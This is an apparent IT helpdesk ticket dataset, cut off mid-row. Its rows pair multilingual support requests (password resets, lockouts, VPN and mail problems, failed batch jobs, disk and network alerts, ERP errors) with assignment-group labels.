+rkyjnbqh kfshormi +b. eng. +anwendungstechnik i application engineer +rkyjnbqh.kfshormi@gmail.com + +company deutschland gmbh +geschäftsführer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx, naruedlk mpvhakdq +",GRP_0 +"e&o access request for partner team _x000D_ +_x000D_ +received from: izwtdnfq.xptuoaid@gmail.com_x000D_ +_x000D_ +hi pradtheyp,_x000D_ +_x000D_ +partner team will support myself and jintana to run e&o report going forward. can you provide the access usaed to debaghjsish based on his email eonhuwlg.sxthcobm@gmail.com ?._x000D_ +_x000D_ +below is the e&o access path required the access usaed to him._x000D_ +_x000D_ +#/site/certified_content/views/eoreport-finance/timegraphfilters?:iid=1_x000D_ +_x000D_ + let me know once done. appreciate if you provide the access preferably by sep 2, next friday._x000D_ +_x000D_ + ",GRP_2 +qlhmawgi sgwipoxn mp_fb locked. qlhmawgi sgwipoxn mp_fb locked.,GRP_0 +"skype anmeldung ich habe gestern über den passwortmanager mein passwort geändert. seitdem funktioniert die skype anmeldung nicht mehr. weder mit dem neuen, noch mit dem alten passwort. fehlermeldung: der benutzername, das kennwort oder die domäne scheint falsch zu sein.",GRP_0 +"access for igurwxhv ughynofq to mailbox hi helpdesk, please give access to igurwxhv ughynofq from partner(outsouring company) to k-sg.inwarehouse_tools@company.com_x000D_ +",GRP_0 +" plm cache server logging issue as per attached email, we see an issue with cache server logging and also caching server working as well._x000D_ +please also look at the erp reply who raised questions on cache server accessibility.",GRP_14 +"conduct goods movement with erp transaction mb11 from plant_205 to plant_245 from: iwazgesl ydgqtpbo [mailto:iwazgesl.ydgqtpbo@gmail.com] _x000D_ +sent: thursday, august 25, 2016 12:08 pm_x000D_ +to: nwfodmhc exurcwkm_x000D_ +cc: nkiopevt gufwhdky_eh_x000D_ +subject: tru : goods movement mb11 from plant_205 to plant_245_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +_x000D_ +could you please advise us how to conduct goods movement with erp transaction mb11 from plant_205 to plant_245? we are not able to do this._x000D_ +_x000D_ +",GRP_18 +password reset alert from o365 password reset alert from o365,GRP_0 +"user cwfzldts dlmukhyn cannot create purchasing requistions out of punch out catalogues now he get the right document type, but he has several other problems.:_x000D_ +the wrong material group is shown (mendmre) istead of _x000D_ +default should be c-select_x000D_ +in accounting there should be ""costcenter"" as default, for him is order, and the gl account does not come up automatically. _x000D_ +i've got the information that all requisitioners of this plant had the problems. i will get a mail for a colleague with the person who has solved this issue. i will add it as soon as i have the mail._x000D_ +_x000D_ +",GRP_29 +latitude e7350 does not properly boot up - i get a blue empty screen with no log on mask latitude e7350 does not properly boot up - i get a blue empty screen with no log on mask,GRP_28 +latitude 7275 does not boot up properly - got a blue empty screen - eagl8000055 latitude 7275 does not boot up properly - got a blue empty screen - eagl8000055,GRP_28 +support für umbau \ we22 \ port 22 \niptbwdq csenjruz support für umbau \ we22 \ port 22 \niptbwdq csenjruz,GRP_24 +umbau rechner ewew8323542 \ port 21 \niptbwdq csenjruz umbau rechner ewew8323542 \ port 21 \niptbwdq csenjruz,GRP_24 +setup new ws \instandsetzung\ nfayqjhg kyswcpei setup new ws \instandsetzung\ nfayqjhg kyswcpei,GRP_24 +ms office /outlook issue ms office /outlook issue,GRP_0 +"cannot use copy to option in engineering tool : getting error message. cannot use copy to option in engineering tool : getting error message._x000D_ +it never worked for user._x000D_ +anticipating access issue.",GRP_11 +support für umzug \qwynjdbk eamnvwyh support für umzug \qwynjdbk eamnvwyh,GRP_24 +"circuit outage : traversecity : static-vpn-4331-rtr02 down since 8/25/2016 1:00 am est (site up on primary) what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ______yes___ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______8/25/2016 1:00 am est_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? ____no___ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? _no______ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? __yes____ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? ____yes_____ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ______na_____ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? ___yes____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) ___________na______________ _x000D_ +_x000D_ +12. notified gsc __yes______ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +change of computer to user parrfgyksm - telephony_software set up change please set up new computer changed to user parrfgyksm.,GRP_7 +password reset alert from o365 password reset alert from o365,GRP_0 +mp_fb konto gesperrt keine anmeldung möglich,GRP_0 +keine netzwerkverbindung eemw8144234 keine netzwerkverbindung können hergestellt werden,GRP_0 +email queries email queries,GRP_0 +erp SID_34 lock out issue and password reset erp SID_34 lock out issue and password reset user id : bhergtyemm ,GRP_0 +"aw: please take this survey related to ticket_no0433553 + +received from: tgpvrbyi.ztdxwpcn@gmail.com + +sehr geehrter hr. souzarft, + +noch immer kein zugriff. + + +freundliche grüße/ best ",GRP_0 +can't copy/save pdf of drawing from business_client application used to work till aug 23. user was able to copy / save pdf from business_client. since aug 24th user wasn't able anymore. ,GRP_0 +kein zugriff auf server möglich! meldung: fehler bei der erneuten verbindungsherstellung von ...: mit \\HostName_579\.....,GRP_12 +" authorization add/delete members _x000D_ +_x000D_ +",GRP_0 +unable to open outlook client unable to open outlook client,GRP_19 +"aw: please take this survey related to ticket_no0433617 + +received from: efjzbtcm.mdpviqbf@gmail.com + +nein funktioniert noch nicht + + +efjzbtcm mdpviqbf +company productions gmbh & co. kg +versand/logistik/ff-wear + +email: efjzbtcm.mdpviqbf@gmail.com + +company produktions gmbh & co. kg +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq + +von: global it ticketing_tool [mailto:company@ticketing_tool.com] +gesendet: mittwoch, 24. august 2016 22:02 +an: efjzbtcm mdpviqbf +betreff: please take this survey related to ticket_no1544728 + +please do not reply to or forward this email. use ticketing_tool to open a new ticket. + +we value your input. please help us by taking the time to fill out this short survey. + +click here to take the survey< + +________________________________ + + +number: ticket_no1544728 +resolved by: olckhmvx pcqobjnd +short description: beim öffnen oder speichern kommt immer wieder eine meldung +click here to view: link< +________________________________ +comments: +________________________________ +08-24-2016 16:00:58 edt - olckhmvx pcqobjndadditional comments +hallo frau maier, + +bitte probieren sie jetzt und geben sie bescheid ob sie zugriff haben oder nicht. + +mfg, +dan +gso",GRP_0 +"collaboration_platform for business not sync _x000D_ +_x000D_ +received from: eylqgodm.ybqkwiam@gmail.com_x000D_ +_x000D_ +collaboration_platform for business dose not take my credentials to sync_x000D_ +_x000D_ +best ",GRP_0 +"one user cannot receive e-mail from bank of amrice, cashpro online _x000D_ +_x000D_ +received from: uagqromi.sqgtkmci@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +shunshen.wanrtyg@company.com_x000D_ +_x000D_ +cannot receive e-mail from bank of amrice, cashpro online. mr. wanrtyg is a partner member, but other partner staffs receive mails from bank. please resolve._x000D_ +_x000D_ +",GRP_10 +"profile and email client setup ghkkytu,_x000D_ + configure user login for below e-mail details, ",GRP_19 +os reinstall os reinstall,GRP_19 +os installation reimage the laptop,GRP_19 +os installation os reinstallation on e6420 laptop.,GRP_19 +abend batch job Job_1967e job name: Job_1967e abended.,GRP_6 +"inwarehouse_tool not creating _x000D_ +_x000D_ +received from: uisewznr.ewtmkphs@gmail.com_x000D_ +_x000D_ +hi team,_x000D_ +_x000D_ +delivery # 9168077553 is not creating an inwarehouse_tool and i cannot see any reason why it is not creating. can you please resolve this issue? ",GRP_13 +"help to change the windows password using password_management_tool password tool. help to change the windows password using password_management_tool password tool._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login to the password_manager_tool password tool and change the passwords._x000D_ +-help the user to sync the psswords to the company network._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"vip 2: login issue login issue_x000D_ +-checked the user name in ad and unlocked the account._x000D_ +-advised the user to login and check._x000D_ +-caller confirmed that he was able to login._x000D_ +-issue resolved.",GRP_0 +"my global_telecom_1 two in one can't be connected. there is signal but ""limited"". name:lertfty zuothryrt +language: +browser:microsoft internet explorer +email:kirtyrghwc.ykjrbivs@gmail.com +customer number: +telephone: +summary:my global_telecom_1 two in one can't be connected. there is signal but ""limited"".",GRP_0 +"folder access to \\HostName_717\teams\kvp3-projekte permission: write and read_x000D_ +_x000D_ +location: germany",GRP_34 +mii password reset for wiggrtgyis mii password reset for wiggrtgyis,GRP_0 +HostName_1010(erp search_server server): erpstartsrv.exe service is down HostName_1010(erp search_server server): erpstartsrv.exe service is down ,GRP_14 +"vtykrubi whsipqno's title + +received from: hkrecpfv.kgwpbexv@gmail.com + +good afternoon. i noticed that rtgyon's title is incorrect in skype. who can correct it? he is not chairman of company, just president and ceo. + +[cid:image001.png@01d1fe24.eaf9c410] + +",GRP_0 +what is this trailing mail? what is this trailing mail?,GRP_0 +i'm using collaboration_platform in crm. why are all my collaboration_platform notebooks shared with +20 people i don't know and dind't share my noteb all my collaboration_platform notebooks are shared with +20 people i don't know. i did not share my notebook with them and i cannot remove their shared status ! how is this possible???,GRP_0 +error on erp error on erp,GRP_0 +ess password reset ess password reset,GRP_0 +need to see all unread emails need to see all unread emails,GRP_0 +do not have access to bobj do not have access to bobj,GRP_9 +"multiple pages print while printing single email. multiple pages print while printing single email. +-checked the driver settings and updated the printer drivers. +-abl eto print single word, excel, pdf documents. +-when the user tries to print any email from the outlook, it shows multiple pages. +-see attachment=== +=231 +",GRP_3 +"how to delay email sending? _x000D_ +_x000D_ +received from: iygsxftl.hysrbgad@gmail.com_x000D_ +_x000D_ +dear all,_x000D_ +_x000D_ +please can you explain how to delay email sending? this was possible with my earlier outlook version._x000D_ +_x000D_ +[cid:image005.jpg@01d1fe48.23ed4df0]_x000D_ +_x000D_ +with my current version 'outlook 2013' the delayed sending does not work if my computer and outlook are shut down. email will be sent only when i will restart outlook._x000D_ +_x000D_ +[cid:image006.jpg@01d1fe48.23ed4df0]_x000D_ +_x000D_ +is there any chance to fix this?_x000D_ +_x000D_ +",GRP_0 +"add role to access e-recruit hi, + +please also add (er:rcf_recruiter) role to imzctxhr odmawbij and jusfrttin gtehdnyuerrf also. + +",GRP_2 +"skype login issue + +received from: crkdjbot.qiztrxne@gmail.com + +hello… i have been unable to sign into skype for several days. + +[cid:image001.png@01d1fe15.30402581] + + +best, +debgrtybie savgrtyuille +sr. corporate paralegal + +crkdjbot.qiztrxne@gmail.com + + + +",GRP_0 +HostName_184: volume: /dev/software on server: HostName_184 is over 85% space consumed.remaining only 15% HostName_184: volume: /dev/software on server: HostName_184 is over 85% space consumed.remaining only 15%,GRP_47 +"HostName_1132:oracle finance_app financial management - web tier/ java server (epmsystem2) - service monitor HostName_1132:oracle finance_app financial management - web tier (epmsystem2) - service monitor(down)_x000D_ +HostName_1132:oracle finance_app financial management - java server (epmsystem2) - service monitor",GRP_12 +"a link on an e-mail says i am ""forbidden"" an e-mail from it training has email hints and tips #1. under ""create signature"" it has a link ""company formatheywting standard"" that i am forbidden to see. +615",GRP_70 +"there were 3 undeliverable e-mails returned with a ethics e-mail request. there were 3 undeliverable e-mails returned with a ethics e-mail request._x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +there were 3 undeliverable e-mails returned with a ethics e-mail request._x000D_ +_x000D_ +please advise._x000D_ +_x000D_ +",GRP_0 +"erp round off on total we entered so 35941677, total of order should be $1,150.50 but erp is rounding it off to $1,151.70 it is creating a 20 cent difference. this order is one of few and is causing quite a bit of re-invoicing and payment rejections. ",GRP_13 +"scrap reason code (two issues) two issues:_x000D_ +1. mii asks for a reason code when scrap quantity is entered as zero. most operator put zero to be sure that they're not entering any scrap. intended behavior is that if scrap field is blank or has zero, system shouldn't ask for scrap reason code_x000D_ +2. if we enter invalid reason code, the save button is disabled after warning message - so operator can't fix invalid data but has to close the confirmation window, type information again and then enter - can we fix this? ",GRP_41 +"instalação guardião (banco hsbc) gentileza, instalar o guardião do banco hsbc para utilização de transações pela internet.",GRP_62 +user called to know if there was an outage in usa user called to know if there was an outage in usa,GRP_0 +"job jobuacyltoe hxgaycze failed in job_scheduler at: 08/24/2016 13:01:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job jobuacyltoe hxgaycze failed in job_scheduler at: 08/24/2016 13:01:00",GRP_60 +"job jobuacyltoe hxgaycze failed in job_scheduler at: 08/24/2016 12:56:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job jobuacyltoe hxgaycze failed in job_scheduler at: 08/24/2016 12:56:00",GRP_60 +"job HostName_1019failagain_1 failed in job_scheduler at: 08/24/2016 12:56:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019failagain_1 failed in job_scheduler at: 08/24/2016 12:56:00",GRP_60 +"svc-now ticket found... doing nothing received from: monitoring_tool@company.com_x000D_ +_x000D_ +svc-now ticket found... doing nothing",GRP_60 +"svc-now ticket found... doing nothing received from: monitoring_tool@company.com_x000D_ +_x000D_ +svc-now ticket found... doing nothing",GRP_60 +"svc-now ticket found... doing nothing received from: monitoring_tool@company.com_x000D_ +_x000D_ +svc-now ticket found... doing nothing",GRP_60 +unlocked all accounts on password manager unlocked all accounts on password manager ,GRP_0 +"unable to open originals from engineering tool when opening originals from engineering tool, below error occurs._x000D_ +_x000D_ +process: _x000D_ +fetch originals from erp system._x000D_ +_x000D_ +[jco3 - error]",GRP_11 +"cannot get access to email same issue as yesterday, it called and fixed the issue, but back to work today and still cannot get into email",GRP_0 +unable to log in to netweaver unable to log in to netweaver,GRP_0 +request to reset microsoft online services password for jcsmxrgl.ibhsnket@gmail.com request to reset microsoft online services password for jcsmxrgl.ibhsnket@gmail.com,GRP_0 +ticket update on ticket_no0409509 ticket update on ticket_no0409509,GRP_0 +ticket update on inplant_853640 ticket update on inplant_853640,GRP_0 +"reset the password for igkqpndy swqndxhl on other / telephony_software hello,_x000D_ +_x000D_ +please reset password for user duffym, as she has forgotten it and therefore cannot log into her interaction desktop. please provide magdalena with the new password._x000D_ +_x000D_ +",GRP_7 +ticket update inplant_853261 ticket update inplant_853261,GRP_0 +request to reset microsoft online services password for rovsabyl.idpvbjtw@gmail.com request to reset microsoft online services password for rovsabyl.idpvbjtw@gmail.com,GRP_0 +we are currently unable to post inwarehouse_tool doc. # 6223592434 for po 5616473800. please advice how to proceed. we are currently unable to post inwarehouse_tool doc. # 6223592434 for po 5616473800. please advice how to proceed.,GRP_10 +"job HostName_1019failagain failed in job_scheduler at: 08/24/2016 11:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019failagain failed in job_scheduler at: 08/24/2016 11:05:00",GRP_60 +"job HostName_1019fail failed in job_scheduler at: 08/24/2016 11:02:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/24/2016 11:02:00",GRP_60 +ticket update on ticket_no0433651 ticket update on ticket_no0433651,GRP_0 +"mailbox configuration + +received from: sylvthryia.sidor@company.com + +good afternoon, + + +i am writing to ask about a few things regarding my new mailbox. + + +1. the name in the email address (sylvthryia) is incorrect; can it be amended to sylvthryia (with w)? + + +2. is it possible to change my password? i tried to do this online in the application, but it states that it is impossible. + + +3. i would like to be able to access my mailbox using software (ms office 2013). if it is possible, what would be the configuration data to be used? + + +4. i would like to update my signature. could you please advise where this can be done? + + +",GRP_0 +"user unable to log onto ticketing_tool! + +received from: kxsceyzo.naokumlb@gmail.com + +userid: hntubjela +name nivqoxyt ivrhjmnx + +user is unable to create ticketing_tool tickets! +",GRP_0 +"tool repoter from: nwfodmhc exurcwkm +sent: wednesday, august 24, 2016 8:17 pm +to: 'srujan enterprises'; nwfodmhc exurcwkm +cc: avsbdhyu sahryu; sihtvocw yspnqxgw +subject: re: engineering tool + +hi + +please go through the attachment and configure accordingly. +please contact us back if you still face any issue. + + + +",GRP_0 +"job HostName_1019fail failed in job_scheduler at: 08/24/2016 10:46:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job HostName_1019fail failed in job_scheduler at: 08/24/2016 10:46:00",GRP_60 +"computer lrrw8514654 - us_plant location252 + +received from: dpuifqeo.eglwsfkn@gmail.com + +user – bghrbie crhyley – has this issue: + +excel isn't working properly. it keeps going to not responding. +i have restarted several times to correct that. now if i work on a spreadsheet, +save it and minimize it i can't open it back up. i have had to restart the computer and +open excel again to get to the worksheet. this has happened twice. do you have any ideas i could try? + + +",GRP_0 +"password reset from: nwfodmhc exurcwkm _x000D_ +sent: wednesday, august 24, 2016 8:11 pm_x000D_ +to: 'frederirtck.gtehdnyu@company.com'_x000D_ +cc: tiyhum kuyiomar_x000D_ +subject: request to reset microsoft online services password for frederirtck.gtehdnyu@company.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please change your password in : _x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_0 +usa print check usa print check,GRP_15 +"urgent: only the highlighted (attachment) are showing up in 'my active accounts' in crm only the highlighted (attachment) are showing up in 'my active accounts' in crm + +phone; 309",GRP_40 +HostName_145 (erp SID_28): volume: /dev/hd3 on server is over 85% space consumed. space available: 257mb HostName_145 (erp SID_28): volume: /dev/hd3 on server is over 85% space consumed. space available: 257mb,GRP_47 +"job Job_1953b failed in job_scheduler at: 08/24/2016 10:24:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953b failed in job_scheduler at: 08/24/2016 10:24:00",GRP_6 +outlook is continuously asking for password. outlook is continuously asking for password.,GRP_0 +unable to attach a document in erp unable to attach a document in erp,GRP_0 +netweaver is locked out. netweaver is locked out.,GRP_0 +account unlock account unlock,GRP_0 +telephony_software software not configured telephony_software software not configured,GRP_0 +ticket update on ticket_no0432827 ticket update on ticket_no0432827,GRP_0 +unable to log in to skype cleared skype cache files ,GRP_0 +"unknown request for guest wireless access hello,_x000D_ +i had never used the guest wireless access system before. today when i entered, i saw an entry in pending accounts which i'm not familiar with (please check the attached screenshot). can this be a security threat? can you please investigate?_x000D_ +",GRP_0 +"fi/co issue - sto 5019143086 please review sto 5019143086 . user is receiving the error message below to ""please enter net price"". there is no average customer net price for this material (vk13 - ztfn), so erp should be simulating a transfer price for the material but it does not appear to be doing so. _x000D_ +_x000D_ + _x000D_ +sender reciever material created quantity requsted quantity sto number error code_x000D_ +plant_105 plant_101 2355391 3 please enter net price_x000D_ +",GRP_29 +install engineering_tool install engineering_tool,GRP_0 +der netweaver business client 5.0 kann nicht gestartet werden. der netweaver business client 5.0 kann nicht gestartet werden.,GRP_0 +"EU_tool -> sinterleitstand (sls) -> beilageproben -> auswerten, form ""beilage und tms proben"", input of ald2 and ald3 data currently it is impossible to enter data of cycles of the following the furnaces: ald2 and ald3_x000D_ +_x000D_ +same as - ticket_no0414688",GRP_25 +erp SID_34 account unlock and password reset erp SID_34 account unlock and password reset,GRP_0 +account getting locked on windows account getting locked on windows ,GRP_0 +supply_chain_software password reset supply_chain_software password reset,GRP_0 +lunch rm computer down the employee computer in mfg #1 lunch rm. is down,GRP_3 +"delivery notes - unable to inwarehouse_tool four deliveries. error indicates a block. no block on orders deliveries mentioned below are not invoicing. try to do it manual under vf01. errors were: the billing type could not be determined, block for billing, the item is not relevant for billing. _x000D_ +9168911759_x000D_ +8057800533_x000D_ +9168911663_x000D_ +8057800653_x000D_ +9168911772_x000D_ +8057800687_x000D_ +9165515998_x000D_ +_x000D_ +need resolved before month end. any questions please contact ibtvlfah dtlwscma 479-633-6608",GRP_13 +HostName_108 (plm conversion server - kirty): alwaysupservice.exe process count service is down HostName_108 (plm conversion server - kirty): alwaysupservice.exe process count service is down ,GRP_14 +unable to access n drive unable to access n drive ,GRP_0 +"job Job_1314 failed in job_scheduler at: 08/24/2016 08:45:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1314 failed in job_scheduler at: 08/24/2016 08:45:00",GRP_9 +"background jobs in erp inbox will not export into excell after gui upgrade sa38 reports that are scheduled to run as a background job, show up in the erp inbox. they allow you to open them and show the data is transmitted. however, excell hangs up and no data shows. this did not occur until the upgrade occurred. i have already logged totally out of erp and logged in again to see if that correct the situation with no success",GRP_0 +attendance_tool intouch clocks - shows as down in application attendance_tool intouch clocks - shows as down in application,GRP_4 +"keine verbindung zum server keine verbindung zum server, kein zugriff auf laufwerke in germany",GRP_0 +laptop crash laptop crash,GRP_0 +"Israel, israel - (company):company-eu-isr--mainswitch-b-3560-access-sw02 is down since at 08:11 am et on 08/24 EMEA, israel - (company):company-eu-isr--mainswitch-b-3560-access-sw02 is down since at 08:11 am et on 08/24",GRP_8 +"server for public folder in germany is not available \\HostName_598\public is not available._x000D_ +is there are new server name for germany or just an network issue?_x000D_ +when could this be solved?",GRP_0 +tengigabitethernet1/5 · connection to tech-4500x (a) - (10.1.200.2) is down on top-6509-msfc720. tengigabitethernet1/5 · connection to tech-4500x (a) - (10.1.200.2) is down on top-6509-msfc720.,GRP_4 +"completed order 32079269 form 2014 for vw is visible on md04, mm 3967345 hello,_x000D_ +there is completed order 32079269 form 2014 for vw visible on md04, mm 4078456, please see attachments.",GRP_6 +"audio not working laptop - error no device installed error computer name : agvl8325581 + +service tag : j6gqbt1 + +phone: 05450",GRP_33 +collaboration_platform is not openning. collaboration_platform is not openning.,GRP_0 +"folder access + +received from: qhvspezr.fvluqczd@gmail.com + +hi + +please get tghrloks jbgcvlmf tghrloks.jbgcvlmf@gmail.com ( user id : nuerthytzg ) access to below folder location . + +\\HostName_95\teams\globalengservices\9tcb_nc\ + +with warm ",GRP_12 +"reparo pdf creator favor reparar o pdf creator, quando vou imprimir o recibo da gia sp em pdf está saindo somente caracteres.",GRP_62 +"top urgent request les team: change back kis inwarehouse_tool sender address of sales orgr 1278 from germany to fürth subject: wrong address on kis inwarehouse_tools for salsed org 1278_x000D_ +importance: high_x000D_ +_x000D_ +kis commercial inwarehouse_tools for sales org 1278 print wrong sender address, which cause legal compliance error with german customs. _x000D_ +revers 1278 sales org address to company infrastruture gmbh, wehlauerstr. 73, 90766 germany today!!!_x000D_ +_x000D_ +please confrim estimated time of change in SID_34 system aspap. _x000D_ +",GRP_13 +"job SID_41arc2 failed in job_scheduler at: 08/24/2016 07:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_41arc2 failed in job_scheduler at: 08/24/2016 07:04:00",GRP_8 +"job SID_41arc2 failed in job_scheduler at: 08/24/2016 07:04:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_41arc2 failed in job_scheduler at: 08/24/2016 07:04:00",GRP_8 +not able to save files on HostName_776 not able to save files on HostName_776. there were reporting reports to be saved.,GRP_0 +"job SID_26arc2 failed in job_scheduler at: 08/24/2016 06:58:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_26arc2 failed in job_scheduler at: 08/24/2016 06:58:00",GRP_8 +"job Job_1953a failed in job_scheduler at: 08/24/2016 06:52:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953a failed in job_scheduler at: 08/24/2016 06:52:00",GRP_8 +"vpn not accepting password _x000D_ +_x000D_ +received from: vfoyenlw.ntpbdeyf@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am unable to login vpn._x000D_ +it's showing user name and password not matching. it is not accepting my current password._x000D_ +_x000D_ +i checked the password and it is okay._x000D_ +_x000D_ +please help me to resolve the issue._x000D_ +_x000D_ +with ",GRP_0 +"job Job_1953a failed in job_scheduler at: 08/24/2016 06:52:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953a failed in job_scheduler at: 08/24/2016 06:52:00",GRP_6 +"job Job_714 failed in job_scheduler at: 08/24/2016 06:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_714 failed in job_scheduler at: 08/24/2016 06:53:00",GRP_8 +"HostName_521: alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, HostName_521: alwaysupservice.exe: wrong number of instances of process alwaysupservice.exe, expected instances gte 5 but found 4",GRP_14 +"job SID_44arc2 failed in job_scheduler at: 08/24/2016 06:31:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_44arc2 failed in job_scheduler at: 08/24/2016 06:31:00",GRP_8 +"job SID_35arc2 failed in job_scheduler at: 08/24/2016 06:22:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_35arc2 failed in job_scheduler at: 08/24/2016 06:22:00",GRP_8 +"cert notification - network outage at germany (formerly germany) what is the issue? unplanned network outage at germany site (formerly germany) - all network resources including telephony_software services, and the phone number for gso emea () are unavailable at the moment. a fiber cut in the vicinity of the site has caused the issue. german telekom has been contacted after the fault was identified, and services are expected to be restored at 7:30 am edt. + +when did it start? 24 august 2016, 3:30 am edt + +what is the estimated time to recovery? unknown at this time. + +who and what are affected? all intranet and internet resources including telephone services at the site are affected + +are there any known workarounds? no workarounds available at the moment. + +what is the cause? suspected fiber cut + +questions? global service organization + +a leadership bridge line has been established in order to provide more timely updates to you. this line is open to all business unit representatives, as well as, it management. + +leadership bridge line will be open at 6:55 am edt + + +leadership bridge line +",GRP_0 +"job Job_3049 failed in job_scheduler at: 08/24/2016 06:17:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_3049 failed in job_scheduler at: 08/24/2016 06:17:00",GRP_8 +"job SID_23arc2 failed in job_scheduler at: 08/24/2016 06:15:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_23arc2 failed in job_scheduler at: 08/24/2016 06:15:00",GRP_8 +"job SID_31arc2 failed in job_scheduler at: 08/24/2016 06:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_31arc2 failed in job_scheduler at: 08/24/2016 06:09:00",GRP_8 +"job SID_31arc2 failed in job_scheduler at: 08/24/2016 06:09:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job SID_31arc2 failed in job_scheduler at: 08/24/2016 06:09:00",GRP_8 +"no access to bobs _x000D_ +_x000D_ +received from: ufebvyzx.gzahomlv@gmail.com_x000D_ +_x000D_ +hello , i have no accesss to bobj_x000D_ +_x000D_ +need help_x000D_ +_x000D_ +",GRP_0 +interface fastethernet0/27-vlan 51-lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03 is down interface fastethernet0/27-vlan 51-lhqwx402189sf on company-na-usa-usa-switch-cl04-3-2960-access-sw03 is down,GRP_8 +"zugriff auf netzlaufwerke _x000D_ +_x000D_ +received from: sthqwdpj.lpnigfyq@gmail.com_x000D_ +_x000D_ +hallo,_x000D_ +_x000D_ +seit dem ich mein passwort geändert habe, habe ich keinen zugriff auf die netzlaufwerke._x000D_ +vpn funktioniert glaube ich nicht richtig._x000D_ +_x000D_ +danke für ihre unterstützung._x000D_ +_x000D_ +_x000D_ +mit freundlichen grüßen | best ",GRP_0 +"login error _x000D_ +_x000D_ +received from: nbdljruw.axcrspyh@gmail.com_x000D_ +_x000D_ +hallo zusammen,_x000D_ +_x000D_ +beim einloggen mit dem password_management_tool password manager, wurde mir das konto erneut gesperrt._x000D_ +bitte erneut freischalten & ein gültiges password zur anmeldung._x000D_ +mir war nicht klar welches password ich verwenden soll._x000D_ +_x000D_ +mit freundlichen grüßen / best ",GRP_0 +"ticket update - inplant_852115 ic_x000D_ + welcome, our next available agent will be with you shortly..._x000D_ + interaction alerting agent._x000D_ + website visitor has joined the conversation_x000D_ +zheqafyo bqirpxag_x000D_ + hi_x000D_ +ayrhcfxi zartupsw_x000D_ + hello paneer_x000D_ + ",GRP_0 +"we need to change the title for cuibfgna cbmqufoa in outlook to production manager, can you do this ? we need to change the title for cuibfgna cbmqufoa in outlook to production manager, can you do this ? ",GRP_2 +"distributor_tool überblick / schulung hallo_x000D_ +danke für ihre antwort._x000D_ +ich habe gerade versucht aber es funktioniert nicht._x000D_ +ich habe versucht mit demselben benutz-namen und password das ich für SID_34 benutz._x000D_ +ich habe auch mit password daypay3 versucht, wie hbmwlprq ilfvyodx vorgeschlafen hat._x000D_ +welches passwort sollte ich benutzen?_x000D_ +_x000D_ +_x000D_ +distinti saluti / mit freundlichen grüßen / best ",GRP_0 +"issue with attendance_tool _x000D_ +_x000D_ +received from: bajrpckl.cevtiuob@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ + i am not able to login into attendance_tool website and also it is not available on the hub for me._x000D_ +_x000D_ +",GRP_0 +" material in q for complaints shipped to dfrt going into normal bin we are having an issue with materials from complaints coming from other locations to plant_105._x000D_ +very often – they are in q, but go to a normal bin. as the q is not printed on the transfer order_x000D_ +the receivers place them into our normal bin locations.._x000D_ + _x000D_ +examples are delivery 9168844172 for complaint 7611181872_x000D_ + _x000D_ +could you pls. check why the material does not go to a q bin location automatically? _x000D_ + _x000D_ +pls. assign to les team ",GRP_18 +exel file is not openning as the default programdntym to open with is changed. exel file is not openning as the default programdntym to open with is changed.,GRP_0 +installing cutview installing cutview ,GRP_66 +probleme mit vpn stöhrmann \niptbwdq csenjruz probleme mit vpn stöhrmann \niptbwdq csenjruz,GRP_24 +add user nuksytoh whovmtez (sbcheyu) to ad group eagcutview add user nuksytoh whovmtez (sbcheyu) to ad group eagcutview,GRP_0 +"no email synchro after windows 10 update on my lumia 950 _x000D_ +_x000D_ +received from: bmudkpie.qolrvbip@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +yesterday i installed the new windows 10 update on my 